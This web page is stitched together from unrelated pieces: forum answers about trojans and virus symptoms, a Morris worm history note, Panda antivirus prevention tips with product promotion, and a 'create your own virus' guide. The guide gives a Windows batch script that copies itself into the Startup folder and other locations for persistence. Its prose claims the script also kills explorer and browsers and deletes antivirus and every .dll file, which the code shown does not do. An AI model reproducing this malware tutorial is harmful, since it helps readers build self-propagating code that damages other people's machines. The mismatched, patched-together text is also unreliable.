Most viruses, Trojan horses, and worms are activated when you open an attachment or click a link contained in an email message. If your email client allows scripting, then it is possible to get a virus by simply opening a message. It's best to limit what HTML is available in your email messages.

greymarkb wrote:: What is the name of the viruses that fool a user into downloading and/or executing them by pretending to be useful applications?

You are likely thinking of a trojan horse, which usually appears embedded in a computer program that a user voluntarily downloads.

A trojan horse performs unauthorized functions without the knowledge of the user, but still allows the user to use that program or application. People are often surprised to find out they have a trojan, since the useful application itself may be functioning as expected and showing no indication as causing an issue.

You might be scared of viruses in your computer or laptop. They directly affect the working of the computer systems. You may want to create your own virus too. This guide will show you how you can create a simple virus. Open the notepad file and paste the following code:

@echo off
copy "virus.bat" "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy "virus.bat" "C:\"
copy "virus.bat" "%userprofile%\My Documents"

Save it as “virus.bat” or anything with the name you want to. Now your first virus is ready to work. You can also convert it as .exe file. It copies itself to startup, hard disk, my documents and then it kills explorer.exe, chrome.exe and firefox.exe. It tries to delete mcafee antivirus and tries to delete every .dll and .bat files. Now if someone clicks on the .bat or .exe file this batch file will run and execute the operations written in the code. So beware of running this batch file or you may need for a restoration on your computer. Read more about what is a computer virus, types of computer virus.

Since November 1987 when the Internet Worm created by Robert T. Morris, Jr. wreaked over $100 million worth of problems on computers connected to the Internet, it has been obvious that having computers connected on a computer network increased the possibility of virus infections. That is not to say that networks are bad, in fact networks are becoming more and more essential and valuable all the time. It's just that being online on a network, a BBS, or dialed into a remote computer increases the possibility of contact with viruses.

greymarkb wrote:: How do you know if you have a virus?

Systems which are affected with viruses act erratically. Sometimes the virus will identify itself with a message giving its name on the screen of your computer monitor. In extreme cases, enough data and/or programs may have been destroyed to prevent your computer from successfully booting.

Does your PC have any of the following symptoms?

Programs taking longer than normal to load and execute.
Disk access taking longer than usual.
Unusual screen activity.
Hardware malfunctions.
Files are disappearing.
Strange files appearing.
Warning messages appearing.
Vindictive or threatening messages.
Disk drive lights coming randomly without reason.
Memory or disk space reduced.
Increases in program file sizes
Apparent data destruction or contamination errors.

4 Essential Tips to Prevent Virus Infections
Products
Todos los productos

Online security and the protection of your computer are our main goals but these are also a matter you should take seriously to avoid unwanted infections. That is why we insist you follow a few essential steps we cannot do for you and which will prevent your computer from getting infected.

Seriously, it´s up to you that you never get infected again. Furthermore, we can ensure that your computer will not get easily infected.

Keep Java, Adobe Flash and Acrobat Reader updated at all times, or uninstall them if you do not use them!

Why? Nowadays viruses and malware bypass antivirus programs and infect PCs through outdated programs you have installed on your PC.

Learn How

If you don´t need these programs, uninstall them from your computer.

If you cannot do without these applications, make sure they are always updated. There are specific programs which can do this for you, for example:

Secunia Personal software Inspector

TechTracker

Always be cautious with the programs you install or run

Why? Virus authors make money infecting PCs and they can disguise behind programs or applications you think are not dangerous to open or to run. BEWARE!

Learn How: Use your common sense!

Never open emails from unknown senders. Beware of messages with eye-catching subjects; they are more likely to contain viruses.

The most typical ones are notices of a package from UPS, DHL or other courier company, PayPal transfers or errors in the sending of emails. If you receive any of these emails, beware! Do not open any of the attachments, unless you are absolutely sure it´s something you´ve requested.

Think twice before downloading and using commercial software or software cracks from BitTorrent, download sites, eMule, etc. Many of these programs are really malware or infected. Even some of the video files that can be downloaded through these channels are viruses that pose as films, books or music files.

Avoid visiting unsafe websites. Secure websites begin with ‘https://’ and the lock icon is displayed on the browser.

Use strong passwords and have different passwords for the different online services you use.

NEVER provide confidential data by email. Think that your bank, for example, would never ask you to send them your account or personal details via email. So, if unsure, ring the official bank telephone number, never the one provided on the email, and ask them.

Always Keep your Windows OS Updated

Why? Malware and viruses exploit security vulnerabilities present in outdated Windows OS. Having the latest security patches and Service Packs installed prevent viruses from doing so.

Learn How: Microsoft provides specific instructions to enable automatic OS updates. Check how to turn automatic updating on or off.

Use an effective antivirus and keep it updated at all times

Why? Because you need to protect yourself, your family and your business from known and unknown viruses and other threats that can disrupt your everyday life and the productivity of your enterprise.

Learn How: Get Panda Gold Protection, our most innovative antivirus and benefit from the maximum protection for every device in your house or in your business (PC, Mac, Android smartphone and tablet). Panda Gold Protection fights against online fraud and identity theft, while shopping or banking online. It protects you from harmful websites and malicious software while surfing the Internet or using social networking sites.

Keep a backup of your files

Why? Because backing up your computer data allows you to restore them in the case of a data loss event.

Learn How: Make sure you have a backup program installed on your computer. Some of our security solutions include this functionality. Please check the image below to find out which:
